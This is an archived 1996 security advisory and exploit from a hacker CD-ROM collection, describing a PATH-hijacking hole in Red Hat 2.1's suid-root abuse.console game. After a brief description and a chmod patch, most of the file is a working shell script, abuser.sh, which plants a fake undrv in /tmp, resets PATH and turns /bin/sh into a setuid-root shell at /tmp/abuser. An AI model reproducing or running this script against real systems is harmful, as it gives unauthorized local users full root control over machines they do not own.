home *** CD-ROM | disk | FTP | other *** search
/ For Beginners & Professional Hackers / cd.iso / hackers / exploits / linux / linux-~2.asc < prev    next >
Encoding:
Text File  |  1997-03-11  |  2.6 KB  |  73 lines

  1.  
  2.  
  3.  
  4.  
  5.    There is a security hole in RedHat 2.1, which installs the game abuse,
  6.  
  7. /usr/lib/games/abuse/abuse.console suid root.  The abuse.console program
  8.  
  9. loads its files without absolute pathnames, assuming the user is running
  10.  
  11. abuse from the /usr/lib/games/abuse directory.  One of these files in the
  12.  
  13. undrv program, which abuse executes as root.  If the user is not in the
  14.  
  15. abuse directory when running this, an arbitrary program can be substituted
  16.  
  17. for undrv, allowing the user to execute arbitrary commands as root. 
  18.  
  19.    If abuse.console needs to be run by users other than root at the console,
  20.  
  21. provisions need to be made in the code to not execute or load any files
  22.  
  23. as root.
  24.  
  25.  
  26.  
  27.                    Program: /usr/lib/games/abuse/abuse.console suid root
  28.  
  29. Affected Operating Systems: Red Hat 2.1 linux distribution
  30.  
  31.               Requirements: account on system
  32.  
  33.                      Patch: chmod -s /usr/lib/games/abuse/abuse.console
  34.  
  35.        Security Compromise: root
  36.  
  37.                     Author: Dave M. (davem@cmu.edu)
  38.  
  39.                   Synopsis: abuse.console runs undrv without an absolute
  40.  
  41.                             pathname while executing as root, allowing
  42.  
  43.                             a user to substitute the real undrv with 
  44.  
  45.                             an arbitrary program.
  46.  
  47.  
  48.  
  49. Exploit:
  50.  
  51. #!/bin/sh
  52.  
  53. #
  54.  
  55. # abuser.sh
  56.  
  57. # exploits a security hole in abuse to create
  58.  
  59. # a suid root shell /tmp/abuser on a linux
  60.  
  61. # Red Hat 2.1 system with the games package 
  62.  
  63. # installed.
  64.  
  65. #
  66.  
  67. # For release 2/2/96 - 1 drink credit please.
  68.  
  69. #
  70.  
  71. # by Dave M. (davem@cmu.edu)
  72.  
  73. #
  74.  
  75. echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system
  76.  
  77. echo ================ Checking system vulnerability
  78.  
  79. if test -u /usr/lib/games/abuse/abuse.console
  80.  
  81. then
  82.  
  83. echo ++++++++++++++++ System appears vulnerable.
  84.  
  85. cd /tmp
  86.  
  87. cat << _EOF_ > /tmp/undrv
  88.  
  89. #!/bin/sh
  90.  
  91. /bin/cp /bin/sh /tmp/abuser
  92.  
  93. /bin/chmod 4777 /tmp/abuser
  94.  
  95. _EOF_
  96.  
  97. cat << _EOF_ >> /tmp/the_wall
  98.  
  99. so ya thought ya might like to go to the show
  100.  
  101. to feel the warm thrill of confusion that space cadet glow
  102.  
  103. tell me is something eluding you sunshine?
  104.  
  105. is this not what you expected to see?
  106.  
  107. if you wanna find out what's behind these cold eyes
  108.  
  109. you'll just have to claw your way through this disguise
  110.  
  111. _EOF_
  112.  
  113. chmod +x /tmp/undrv
  114.  
  115. PATH=/tmp
  116.  
  117. echo ================ Executing Abuse
  118.  
  119. /usr/lib/games/abuse/abuse.console
  120.  
  121. /bin/rm /tmp/undrv
  122.  
  123. /bin/rm /tmp/the_wall
  124.  
  125. if test -u /tmp/abuser
  126.  
  127. then
  128.  
  129. echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser
  130.  
  131. else
  132.  
  133. echo ---------------- Exploit failed
  134.  
  135. fi
  136.  
  137. else
  138.  
  139. echo ---------------- This machine does not appear to be vulnerable.
  140.  
  141. fi
  142.  
  143.  
  144.  
  145.